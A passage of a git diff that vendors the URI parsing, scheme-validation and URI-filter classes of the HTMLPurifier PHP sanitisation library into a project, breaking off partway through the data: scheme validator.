+ $segments_encoder = new HTMLPurifier_PercentEncoder($chars_pchar . '/');
+ if (!is_null($this->host)) { // this catches $this->host === ''
+ // path-abempty (hier and relative)
+ // http://www.example.com/my/path
+ // //www.example.com/my/path (looks odd, but works, and
+ // recognized by most browsers)
+ // (this set is valid or invalid on a scheme by scheme
+ // basis, so we'll deal with it later)
+ // file:///my/path
+ // ///my/path
+ $this->path = $segments_encoder->encode($this->path);
+ } elseif ($this->path !== '') {
+ if ($this->path[0] === '/') {
+ // path-absolute (hier and relative)
+ // http:/my/path
+ // /my/path
+ if (strlen($this->path) >= 2 && $this->path[1] === '/') {
+ // This could happen if both the host gets stripped
+ // out
+ // http://my/path
+ // //my/path
+ $this->path = '';
+ } else {
+ $this->path = $segments_encoder->encode($this->path);
+ }
+ } elseif (!is_null($this->scheme)) {
+ // path-rootless (hier)
+ // http:my/path
+ // Short circuit evaluation means we don't need to check nz
+ $this->path = $segments_encoder->encode($this->path);
+ } else {
+ // path-noscheme (relative)
+ // my/path
+ // (once again, not checking nz)
+ $segment_nc_encoder = new HTMLPurifier_PercentEncoder($chars_sub_delims . '@');
+ $c = strpos($this->path, '/');
+ if ($c !== false) {
+ $this->path =
+ $segment_nc_encoder->encode(substr($this->path, 0, $c)) .
+ $segments_encoder->encode(substr($this->path, $c));
+ } else {
+ $this->path = $segment_nc_encoder->encode($this->path);
+ }
+ }
+ } else {
+ // path-empty (hier and relative)
+ $this->path = ''; // just to be safe
+ }
+
+ // qf = query and fragment
+ $qf_encoder = new HTMLPurifier_PercentEncoder($chars_pchar . '/?');
+
+ if (!is_null($this->query)) {
+ $this->query = $qf_encoder->encode($this->query);
+ }
+
+ if (!is_null($this->fragment)) {
+ $this->fragment = $qf_encoder->encode($this->fragment);
+ }
+ return true;
+ }
+
+ /**
+ * Convert URI back to string
+ * @return string URI appropriate for output
+ */
+ public function toString()
+ {
+ // reconstruct authority
+ $authority = null;
+ // there is a rendering difference between a null authority
+ // (http:foo-bar) and an empty string authority
+ // (http:///foo-bar).
+ if (!is_null($this->host)) {
+ $authority = '';
+ if (!is_null($this->userinfo)) {
+ $authority .= $this->userinfo . '@';
+ }
+ $authority .= $this->host;
+ if (!is_null($this->port)) {
+ $authority .= ':' . $this->port;
+ }
+ }
+
+ // Reconstruct the result
+ // One might wonder about parsing quirks from browsers after
+ // this reconstruction. Unfortunately, parsing behavior depends
+ // on what *scheme* was employed (file:///foo is handled *very*
+ // differently than http:///foo), so unfortunately we have to
+ // defer to the schemes to do the right thing.
+ $result = '';
+ if (!is_null($this->scheme)) {
+ $result .= $this->scheme . ':';
+ }
+ if (!is_null($authority)) {
+ $result .= '//' . $authority;
+ }
+ $result .= $this->path;
+ if (!is_null($this->query)) {
+ $result .= '?' . $this->query;
+ }
+ if (!is_null($this->fragment)) {
+ $result .= '#' . $this->fragment;
+ }
+
+ return $result;
+ }
+
+ /**
+ * Returns true if this URL might be considered a 'local' URL given
+ * the current context. This is true when the host is null, or
+ * when it matches the host supplied to the configuration.
+ *
+ * Note that this does not do any scheme checking, so it is mostly
+ * only appropriate for metadata that doesn't care about protocol
+ * security. isBenign is probably what you actually want.
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool
+ */
+ public function isLocal($config, $context)
+ {
+ if ($this->host === null) {
+ return true;
+ }
+ $uri_def = $config->getDefinition('URI');
+ if ($uri_def->host === $this->host) {
+ return true;
+ }
+ return false;
+ }
+
+ /**
+ * Returns true if this URL should be considered a 'benign' URL,
+ * that is:
+ *
+ * - It is a local URL (isLocal), and
+ * - It has a equal or better level of security
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool
+ */
+ public function isBenign($config, $context)
+ {
+ if (!$this->isLocal($config, $context)) {
+ return false;
+ }
+
+ $scheme_obj = $this->getSchemeObj($config, $context);
+ if (!$scheme_obj) {
+ return false;
+ } // conservative approach
+
+ $current_scheme_obj = $config->getDefinition('URI')->getDefaultScheme($config, $context);
+ if ($current_scheme_obj->secure) {
+ if (!$scheme_obj->secure) {
+ return false;
+ }
+ }
+ return true;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIDefinition.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIDefinition.php
new file mode 100644
index 000000000..e0bd8bcca
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIDefinition.php
@@ -0,0 +1,112 @@
+<?php
+
+class HTMLPurifier_URIDefinition extends HTMLPurifier_Definition
+{
+
+ public $type = 'URI';
+ protected $filters = array();
+ protected $postFilters = array();
+ protected $registeredFilters = array();
+
+ /**
+ * HTMLPurifier_URI object of the base specified at %URI.Base
+ */
+ public $base;
+
+ /**
+ * String host to consider "home" base, derived off of $base
+ */
+ public $host;
+
+ /**
+ * Name of default scheme based on %URI.DefaultScheme and %URI.Base
+ */
+ public $defaultScheme;
+
+ public function __construct()
+ {
+ $this->registerFilter(new HTMLPurifier_URIFilter_DisableExternal());
+ $this->registerFilter(new HTMLPurifier_URIFilter_DisableExternalResources());
+ $this->registerFilter(new HTMLPurifier_URIFilter_DisableResources());
+ $this->registerFilter(new HTMLPurifier_URIFilter_HostBlacklist());
+ $this->registerFilter(new HTMLPurifier_URIFilter_SafeIframe());
+ $this->registerFilter(new HTMLPurifier_URIFilter_MakeAbsolute());
+ $this->registerFilter(new HTMLPurifier_URIFilter_Munge());
+ }
+
+ public function registerFilter($filter)
+ {
+ $this->registeredFilters[$filter->name] = $filter;
+ }
+
+ public function addFilter($filter, $config)
+ {
+ $r = $filter->prepare($config);
+ if ($r === false) return; // null is ok, for backwards compat
+ if ($filter->post) {
+ $this->postFilters[$filter->name] = $filter;
+ } else {
+ $this->filters[$filter->name] = $filter;
+ }
+ }
+
+ protected function doSetup($config)
+ {
+ $this->setupMemberVariables($config);
+ $this->setupFilters($config);
+ }
+
+ protected function setupFilters($config)
+ {
+ foreach ($this->registeredFilters as $name => $filter) {
+ if ($filter->always_load) {
+ $this->addFilter($filter, $config);
+ } else {
+ $conf = $config->get('URI.' . $name);
+ if ($conf !== false && $conf !== null) {
+ $this->addFilter($filter, $config);
+ }
+ }
+ }
+ unset($this->registeredFilters);
+ }
+
+ protected function setupMemberVariables($config)
+ {
+ $this->host = $config->get('URI.Host');
+ $base_uri = $config->get('URI.Base');
+ if (!is_null($base_uri)) {
+ $parser = new HTMLPurifier_URIParser();
+ $this->base = $parser->parse($base_uri);
+ $this->defaultScheme = $this->base->scheme;
+ if (is_null($this->host)) $this->host = $this->base->host;
+ }
+ if (is_null($this->defaultScheme)) $this->defaultScheme = $config->get('URI.DefaultScheme');
+ }
+
+ public function getDefaultScheme($config, $context)
+ {
+ return HTMLPurifier_URISchemeRegistry::instance()->getScheme($this->defaultScheme, $config, $context);
+ }
+
+ public function filter(&$uri, $config, $context)
+ {
+ foreach ($this->filters as $name => $f) {
+ $result = $f->filter($uri, $config, $context);
+ if (!$result) return false;
+ }
+ return true;
+ }
+
+ public function postFilter(&$uri, $config, $context)
+ {
+ foreach ($this->postFilters as $name => $f) {
+ $result = $f->filter($uri, $config, $context);
+ if (!$result) return false;
+ }
+ return true;
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter.php
new file mode 100644
index 000000000..09724e9f4
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter.php
@@ -0,0 +1,74 @@
+<?php
+
+/**
+ * Chainable filters for custom URI processing.
+ *
+ * These filters can perform custom actions on a URI filter object,
+ * including transformation or blacklisting. A filter named Foo
+ * must have a corresponding configuration directive %URI.Foo,
+ * unless always_load is specified to be true.
+ *
+ * The following contexts may be available while URIFilters are being
+ * processed:
+ *
+ * - EmbeddedURI: true if URI is an embedded resource that will
+ * be loaded automatically on page load
+ * - CurrentToken: a reference to the token that is currently
+ * being processed
+ * - CurrentAttr: the name of the attribute that is currently being
+ * processed
+ * - CurrentCSSProperty: the name of the CSS property that is
+ * currently being processed (if applicable)
+ *
+ * @warning This filter is called before scheme object validation occurs.
+ * Make sure, if you require a specific scheme object, you
+ * you check that it exists. This allows filters to convert
+ * proprietary URI schemes into regular ones.
+ */
+abstract class HTMLPurifier_URIFilter
+{
+
+ /**
+ * Unique identifier of filter.
+ * @type string
+ */
+ public $name;
+
+ /**
+ * True if this filter should be run after scheme validation.
+ * @type bool
+ */
+ public $post = false;
+
+ /**
+ * True if this filter should always be loaded.
+ * This permits a filter to be named Foo without the corresponding
+ * %URI.Foo directive existing.
+ * @type bool
+ */
+ public $always_load = false;
+
+ /**
+ * Performs initialization for the filter. If the filter returns
+ * false, this means that it shouldn't be considered active.
+ * @param HTMLPurifier_Config $config
+ * @return bool
+ */
+ public function prepare($config)
+ {
+ return true;
+ }
+
+ /**
+ * Filter a URI object
+ * @param HTMLPurifier_URI $uri Reference to URI object variable
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool Whether or not to continue processing: false indicates
+ * URL is no good, true indicates continue processing. Note that
+ * all changes are committed directly on the URI object
+ */
+ abstract public function filter(&$uri, $config, $context);
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableExternal.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableExternal.php
new file mode 100644
index 000000000..ced1b1376
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableExternal.php
@@ -0,0 +1,54 @@
+<?php
+
+class HTMLPurifier_URIFilter_DisableExternal extends HTMLPurifier_URIFilter
+{
+ /**
+ * @type string
+ */
+ public $name = 'DisableExternal';
+
+ /**
+ * @type array
+ */
+ protected $ourHostParts = false;
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return void
+ */
+ public function prepare($config)
+ {
+ $our_host = $config->getDefinition('URI')->host;
+ if ($our_host !== null) {
+ $this->ourHostParts = array_reverse(explode('.', $our_host));
+ }
+ }
+
+ /**
+ * @param HTMLPurifier_URI $uri Reference
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool
+ */
+ public function filter(&$uri, $config, $context)
+ {
+ if (is_null($uri->host)) {
+ return true;
+ }
+ if ($this->ourHostParts === false) {
+ return false;
+ }
+ $host_parts = array_reverse(explode('.', $uri->host));
+ foreach ($this->ourHostParts as $i => $x) {
+ if (!isset($host_parts[$i])) {
+ return false;
+ }
+ if ($host_parts[$i] != $this->ourHostParts[$i]) {
+ return false;
+ }
+ }
+ return true;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableExternalResources.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableExternalResources.php
new file mode 100644
index 000000000..c6562169e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableExternalResources.php
@@ -0,0 +1,25 @@
+<?php
+
+class HTMLPurifier_URIFilter_DisableExternalResources extends HTMLPurifier_URIFilter_DisableExternal
+{
+ /**
+ * @type string
+ */
+ public $name = 'DisableExternalResources';
+
+ /**
+ * @param HTMLPurifier_URI $uri
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool
+ */
+ public function filter(&$uri, $config, $context)
+ {
+ if (!$context->get('EmbeddedURI', true)) {
+ return true;
+ }
+ return parent::filter($uri, $config, $context);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableResources.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableResources.php
new file mode 100644
index 000000000..d5c412c44
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableResources.php
@@ -0,0 +1,22 @@
+<?php
+
+class HTMLPurifier_URIFilter_DisableResources extends HTMLPurifier_URIFilter
+{
+ /**
+ * @type string
+ */
+ public $name = 'DisableResources';
+
+ /**
+ * @param HTMLPurifier_URI $uri
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool
+ */
+ public function filter(&$uri, $config, $context)
+ {
+ return !$context->get('EmbeddedURI', true);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/HostBlacklist.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/HostBlacklist.php
new file mode 100644
index 000000000..a6645c17e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/HostBlacklist.php
@@ -0,0 +1,46 @@
+<?php
+
+// It's not clear to me whether or not Punycode means that hostnames
+// do not have canonical forms anymore. As far as I can tell, it's
+// not a problem (punycoding should be identity when no Unicode
+// points are involved), but I'm not 100% sure
+class HTMLPurifier_URIFilter_HostBlacklist extends HTMLPurifier_URIFilter
+{
+ /**
+ * @type string
+ */
+ public $name = 'HostBlacklist';
+
+ /**
+ * @type array
+ */
+ protected $blacklist = array();
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return bool
+ */
+ public function prepare($config)
+ {
+ $this->blacklist = $config->get('URI.HostBlacklist');
+ return true;
+ }
+
+ /**
+ * @param HTMLPurifier_URI $uri
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool
+ */
+ public function filter(&$uri, $config, $context)
+ {
+ foreach ($this->blacklist as $blacklisted_host_fragment) {
+ if (strpos($uri->host, $blacklisted_host_fragment) !== false) {
+ return false;
+ }
+ }
+ return true;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/MakeAbsolute.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/MakeAbsolute.php
new file mode 100644
index 000000000..c507bbff8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/MakeAbsolute.php
@@ -0,0 +1,158 @@
+<?php
+
+// does not support network paths
+
+class HTMLPurifier_URIFilter_MakeAbsolute extends HTMLPurifier_URIFilter
+{
+ /**
+ * @type string
+ */
+ public $name = 'MakeAbsolute';
+
+ /**
+ * @type
+ */
+ protected $base;
+
+ /**
+ * @type array
+ */
+ protected $basePathStack = array();
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return bool
+ */
+ public function prepare($config)
+ {
+ $def = $config->getDefinition('URI');
+ $this->base = $def->base;
+ if (is_null($this->base)) {
+ trigger_error(
+ 'URI.MakeAbsolute is being ignored due to lack of ' .
+ 'value for URI.Base configuration',
+ E_USER_WARNING
+ );
+ return false;
+ }
+ $this->base->fragment = null; // fragment is invalid for base URI
+ $stack = explode('/', $this->base->path);
+ array_pop($stack); // discard last segment
+ $stack = $this->_collapseStack($stack); // do pre-parsing
+ $this->basePathStack = $stack;
+ return true;
+ }
+
+ /**
+ * @param HTMLPurifier_URI $uri
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool
+ */
+ public function filter(&$uri, $config, $context)
+ {
+ if (is_null($this->base)) {
+ return true;
+ } // abort early
+ if ($uri->path === '' && is_null($uri->scheme) &&
+ is_null($uri->host) && is_null($uri->query) && is_null($uri->fragment)) {
+ // reference to current document
+ $uri = clone $this->base;
+ return true;
+ }
+ if (!is_null($uri->scheme)) {
+ // absolute URI already: don't change
+ if (!is_null($uri->host)) {
+ return true;
+ }
+ $scheme_obj = $uri->getSchemeObj($config, $context);
+ if (!$scheme_obj) {
+ // scheme not recognized
+ return false;
+ }
+ if (!$scheme_obj->hierarchical) {
+ // non-hierarchal URI with explicit scheme, don't change
+ return true;
+ }
+ // special case: had a scheme but always is hierarchical and had no authority
+ }
+ if (!is_null($uri->host)) {
+ // network path, don't bother
+ return true;
+ }
+ if ($uri->path === '') {
+ $uri->path = $this->base->path;
+ } elseif ($uri->path[0] !== '/') {
+ // relative path, needs more complicated processing
+ $stack = explode('/', $uri->path);
+ $new_stack = array_merge($this->basePathStack, $stack);
+ if ($new_stack[0] !== '' && !is_null($this->base->host)) {
+ array_unshift($new_stack, '');
+ }
+ $new_stack = $this->_collapseStack($new_stack);
+ $uri->path = implode('/', $new_stack);
+ } else {
+ // absolute path, but still we should collapse
+ $uri->path = implode('/', $this->_collapseStack(explode('/', $uri->path)));
+ }
+ // re-combine
+ $uri->scheme = $this->base->scheme;
+ if (is_null($uri->userinfo)) {
+ $uri->userinfo = $this->base->userinfo;
+ }
+ if (is_null($uri->host)) {
+ $uri->host = $this->base->host;
+ }
+ if (is_null($uri->port)) {
+ $uri->port = $this->base->port;
+ }
+ return true;
+ }
+
+ /**
+ * Resolve dots and double-dots in a path stack
+ * @param array $stack
+ * @return array
+ */
+ private function _collapseStack($stack)
+ {
+ $result = array();
+ $is_folder = false;
+ for ($i = 0; isset($stack[$i]); $i++) {
+ $is_folder = false;
+ // absorb an internally duplicated slash
+ if ($stack[$i] == '' && $i && isset($stack[$i + 1])) {
+ continue;
+ }
+ if ($stack[$i] == '..') {
+ if (!empty($result)) {
+ $segment = array_pop($result);
+ if ($segment === '' && empty($result)) {
+ // error case: attempted to back out too far:
+ // restore the leading slash
+ $result[] = '';
+ } elseif ($segment === '..') {
+ $result[] = '..'; // cannot remove .. with ..
+ }
+ } else {
+ // relative path, preserve the double-dots
+ $result[] = '..';
+ }
+ $is_folder = true;
+ continue;
+ }
+ if ($stack[$i] == '.') {
+ // silently absorb
+ $is_folder = true;
+ continue;
+ }
+ $result[] = $stack[$i];
+ }
+ if ($is_folder) {
+ $result[] = '';
+ }
+ return $result;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/Munge.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/Munge.php
new file mode 100644
index 000000000..6e03315a1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/Munge.php
@@ -0,0 +1,115 @@
+<?php
+
+class HTMLPurifier_URIFilter_Munge extends HTMLPurifier_URIFilter
+{
+ /**
+ * @type string
+ */
+ public $name = 'Munge';
+
+ /**
+ * @type bool
+ */
+ public $post = true;
+
+ /**
+ * @type string
+ */
+ private $target;
+
+ /**
+ * @type HTMLPurifier_URIParser
+ */
+ private $parser;
+
+ /**
+ * @type bool
+ */
+ private $doEmbed;
+
+ /**
+ * @type string
+ */
+ private $secretKey;
+
+ /**
+ * @type array
+ */
+ protected $replace = array();
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return bool
+ */
+ public function prepare($config)
+ {
+ $this->target = $config->get('URI.' . $this->name);
+ $this->parser = new HTMLPurifier_URIParser();
+ $this->doEmbed = $config->get('URI.MungeResources');
+ $this->secretKey = $config->get('URI.MungeSecretKey');
+ if ($this->secretKey && !function_exists('hash_hmac')) {
+ throw new Exception("Cannot use %URI.MungeSecretKey without hash_hmac support.");
+ }
+ return true;
+ }
+
+ /**
+ * @param HTMLPurifier_URI $uri
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool
+ */
+ public function filter(&$uri, $config, $context)
+ {
+ if ($context->get('EmbeddedURI', true) && !$this->doEmbed) {
+ return true;
+ }
+
+ $scheme_obj = $uri->getSchemeObj($config, $context);
+ if (!$scheme_obj) {
+ return true;
+ } // ignore unknown schemes, maybe another postfilter did it
+ if (!$scheme_obj->browsable) {
+ return true;
+ } // ignore non-browseable schemes, since we can't munge those in a reasonable way
+ if ($uri->isBenign($config, $context)) {
+ return true;
+ } // don't redirect if a benign URL
+
+ $this->makeReplace($uri, $config, $context);
+ $this->replace = array_map('rawurlencode', $this->replace);
+
+ $new_uri = strtr($this->target, $this->replace);
+ $new_uri = $this->parser->parse($new_uri);
+ // don't redirect if the target host is the same as the
+ // starting host
+ if ($uri->host === $new_uri->host) {
+ return true;
+ }
+ $uri = $new_uri; // overwrite
+ return true;
+ }
+
+ /**
+ * @param HTMLPurifier_URI $uri
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ */
+ protected function makeReplace($uri, $config, $context)
+ {
+ $string = $uri->toString();
+ // always available
+ $this->replace['%s'] = $string;
+ $this->replace['%r'] = $context->get('EmbeddedURI', true);
+ $token = $context->get('CurrentToken', true);
+ $this->replace['%n'] = $token ? $token->name : null;
+ $this->replace['%m'] = $context->get('CurrentAttr', true);
+ $this->replace['%p'] = $context->get('CurrentCSSProperty', true);
+ // not always available
+ if ($this->secretKey) {
+ $this->replace['%t'] = hash_hmac("sha256", $string, $this->secretKey);
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/SafeIframe.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/SafeIframe.php
new file mode 100644
index 000000000..f609c47a3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/SafeIframe.php
@@ -0,0 +1,68 @@
+<?php
+
+/**
+ * Implements safety checks for safe iframes.
+ *
+ * @warning This filter is *critical* for ensuring that %HTML.SafeIframe
+ * works safely.
+ */
+class HTMLPurifier_URIFilter_SafeIframe extends HTMLPurifier_URIFilter
+{
+ /**
+ * @type string
+ */
+ public $name = 'SafeIframe';
+
+ /**
+ * @type bool
+ */
+ public $always_load = true;
+
+ /**
+ * @type string
+ */
+ protected $regexp = null;
+
+ // XXX: The not so good bit about how this is all set up now is we
+ // can't check HTML.SafeIframe in the 'prepare' step: we have to
+ // defer till the actual filtering.
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return bool
+ */
+ public function prepare($config)
+ {
+ $this->regexp = $config->get('URI.SafeIframeRegexp');
+ return true;
+ }
+
+ /**
+ * @param HTMLPurifier_URI $uri
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool
+ */
+ public function filter(&$uri, $config, $context)
+ {
+ // check if filter not applicable
+ if (!$config->get('HTML.SafeIframe')) {
+ return true;
+ }
+ // check if the filter should actually trigger
+ if (!$context->get('EmbeddedURI', true)) {
+ return true;
+ }
+ $token = $context->get('CurrentToken', true);
+ if (!($token && $token->name == 'iframe')) {
+ return true;
+ }
+ // check if we actually have some whitelists enabled
+ if ($this->regexp === null) {
+ return false;
+ }
+ // actually check the whitelists
+ return preg_match($this->regexp, $uri->toString());
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIParser.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIParser.php
new file mode 100644
index 000000000..0e7381a07
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIParser.php
@@ -0,0 +1,71 @@
+<?php
+
+/**
+ * Parses a URI into the components and fragment identifier as specified
+ * by RFC 3986.
+ */
+class HTMLPurifier_URIParser
+{
+
+ /**
+ * Instance of HTMLPurifier_PercentEncoder to do normalization with.
+ */
+ protected $percentEncoder;
+
+ public function __construct()
+ {
+ $this->percentEncoder = new HTMLPurifier_PercentEncoder();
+ }
+
+ /**
+ * Parses a URI.
+ * @param $uri string URI to parse
+ * @return HTMLPurifier_URI representation of URI. This representation has
+ * not been validated yet and may not conform to RFC.
+ */
+ public function parse($uri)
+ {
+ $uri = $this->percentEncoder->normalize($uri);
+
+ // Regexp is as per Appendix B.
+ // Note that ["<>] are an addition to the RFC's recommended
+ // characters, because they represent external delimeters.
+ $r_URI = '!'.
+ '(([a-zA-Z0-9\.\+\-]+):)?'. // 2. Scheme
+ '(//([^/?#"<>]*))?'. // 4. Authority
+ '([^?#"<>]*)'. // 5. Path
+ '(\?([^#"<>]*))?'. // 7. Query
+ '(#([^"<>]*))?'. // 8. Fragment
+ '!';
+
+ $matches = array();
+ $result = preg_match($r_URI, $uri, $matches);
+
+ if (!$result) return false; // *really* invalid URI
+
+ // seperate out parts
+ $scheme = !empty($matches[1]) ? $matches[2] : null;
+ $authority = !empty($matches[3]) ? $matches[4] : null;
+ $path = $matches[5]; // always present, can be empty
+ $query = !empty($matches[6]) ? $matches[7] : null;
+ $fragment = !empty($matches[8]) ? $matches[9] : null;
+
+ // further parse authority
+ if ($authority !== null) {
+ $r_authority = "/^((.+?)@)?(\[[^\]]+\]|[^:]*)(:(\d*))?/";
+ $matches = array();
+ preg_match($r_authority, $authority, $matches);
+ $userinfo = !empty($matches[1]) ? $matches[2] : null;
+ $host = !empty($matches[3]) ? $matches[3] : '';
+ $port = !empty($matches[4]) ? (int) $matches[5] : null;
+ } else {
+ $port = $host = $userinfo = null;
+ }
+
+ return new HTMLPurifier_URI(
+ $scheme, $userinfo, $host, $port, $path, $query, $fragment);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme.php
new file mode 100644
index 000000000..fe9e82cf2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme.php
@@ -0,0 +1,102 @@
+<?php
+
+/**
+ * Validator for the components of a URI for a specific scheme
+ */
+abstract class HTMLPurifier_URIScheme
+{
+
+ /**
+ * Scheme's default port (integer). If an explicit port number is
+ * specified that coincides with the default port, it will be
+ * elided.
+ * @type int
+ */
+ public $default_port = null;
+
+ /**
+ * Whether or not URIs of this scheme are locatable by a browser
+ * http and ftp are accessible, while mailto and news are not.
+ * @type bool
+ */
+ public $browsable = false;
+
+ /**
+ * Whether or not data transmitted over this scheme is encrypted.
+ * https is secure, http is not.
+ * @type bool
+ */
+ public $secure = false;
+
+ /**
+ * Whether or not the URI always uses <hier_part>, resolves edge cases
+ * with making relative URIs absolute
+ * @type bool
+ */
+ public $hierarchical = false;
+
+ /**
+ * Whether or not the URI may omit a hostname when the scheme is
+ * explicitly specified, ala file:///path/to/file. As of writing,
+ * 'file' is the only scheme that browsers support his properly.
+ * @type bool
+ */
+ public $may_omit_host = false;
+
+ /**
+ * Validates the components of a URI for a specific scheme.
+ * @param HTMLPurifier_URI $uri Reference to a HTMLPurifier_URI object
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool success or failure
+ */
+ abstract public function doValidate(&$uri, $config, $context);
+
+ /**
+ * Public interface for validating components of a URI. Performs a
+ * bunch of default actions. Don't overload this method.
+ * @param HTMLPurifier_URI $uri Reference to a HTMLPurifier_URI object
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool success or failure
+ */
+ public function validate(&$uri, $config, $context)
+ {
+ if ($this->default_port == $uri->port) {
+ $uri->port = null;
+ }
+ // kludge: browsers do funny things when the scheme but not the
+ // authority is set
+ if (!$this->may_omit_host &&
+ // if the scheme is present, a missing host is always in error
+ (!is_null($uri->scheme) && ($uri->host === '' || is_null($uri->host))) ||
+ // if the scheme is not present, a *blank* host is in error,
+ // since this translates into '///path' which most browsers
+ // interpret as being 'http://path'.
+ (is_null($uri->scheme) && $uri->host === '')
+ ) {
+ do {
+ if (is_null($uri->scheme)) {
+ if (substr($uri->path, 0, 2) != '//') {
+ $uri->host = null;
+ break;
+ }
+ // URI is '////path', so we cannot nullify the
+ // host to preserve semantics. Try expanding the
+ // hostname instead (fall through)
+ }
+ // first see if we can manually insert a hostname
+ $host = $config->get('URI.Host');
+ if (!is_null($host)) {
+ $uri->host = $host;
+ } else {
+ // we can't do anything sensible, reject the URL.
+ return false;
+ }
+ } while (false);
+ }
+ return $this->doValidate($uri, $config, $context);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/data.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/data.php
new file mode 100644
index 000000000..6ebca4984
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/data.php
@@ -0,0 +1,127 @@
+<?php
+
+/**
+ * Implements data: URI for base64 encoded images supported by GD.
+ */
+class HTMLPurifier_URIScheme_data extends HTMLPurifier_URIScheme
+{
+ /**
+ * @type bool
+ */
+ public $browsable = true;
+
+ /**
+ * @type array
+ */
+ public $allowed_types = array(
+ // you better write validation code for other types if you
+ // decide to allow them
+ 'image/jpeg' => true,
+ 'image/gif' => true,
+ 'image/png' => true,
+ );
+ // this is actually irrelevant since we only write out the path
+ // component
+ /**
+ * @type bool
+ */
+ public $may_omit_host = true;
+
+ /**
+ * @param HTMLPurifier_URI $uri
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool
+ */
+ public function doValidate(&$uri, $config, $context)
+ {
+ $result = explode(',', $uri->path, 2);
+ $is_base64 = false;
+ $charset = null;
+ $content_type = null;
+ if (count($result) == 2) {
+ list($metadata, $data) = $result;
+ // do some legwork on the metadata
+ $metas = explode(';', $metadata);
+ while (!empty($metas)) {
+ $cur = array_shift($metas);
+ if ($cur == 'base64') {
+ $is_base64 = true;
+ break;
+ }
+ if (substr($cur, 0, 8) == 'charset=') {
+ // doesn't match if there are arbitrary spaces, but
+ // whatever dude
+ if ($charset !== null) {
+ continue;
+ } // garbage
+ $charset = substr($cur, 8); // not used
+ } else {
+ if ($content_type !== null) {
+ continue;
+ } // garbage
+ $content_type = $cur;
+ }
+ }
+ } else {
+ $data = $result[0];
+ }
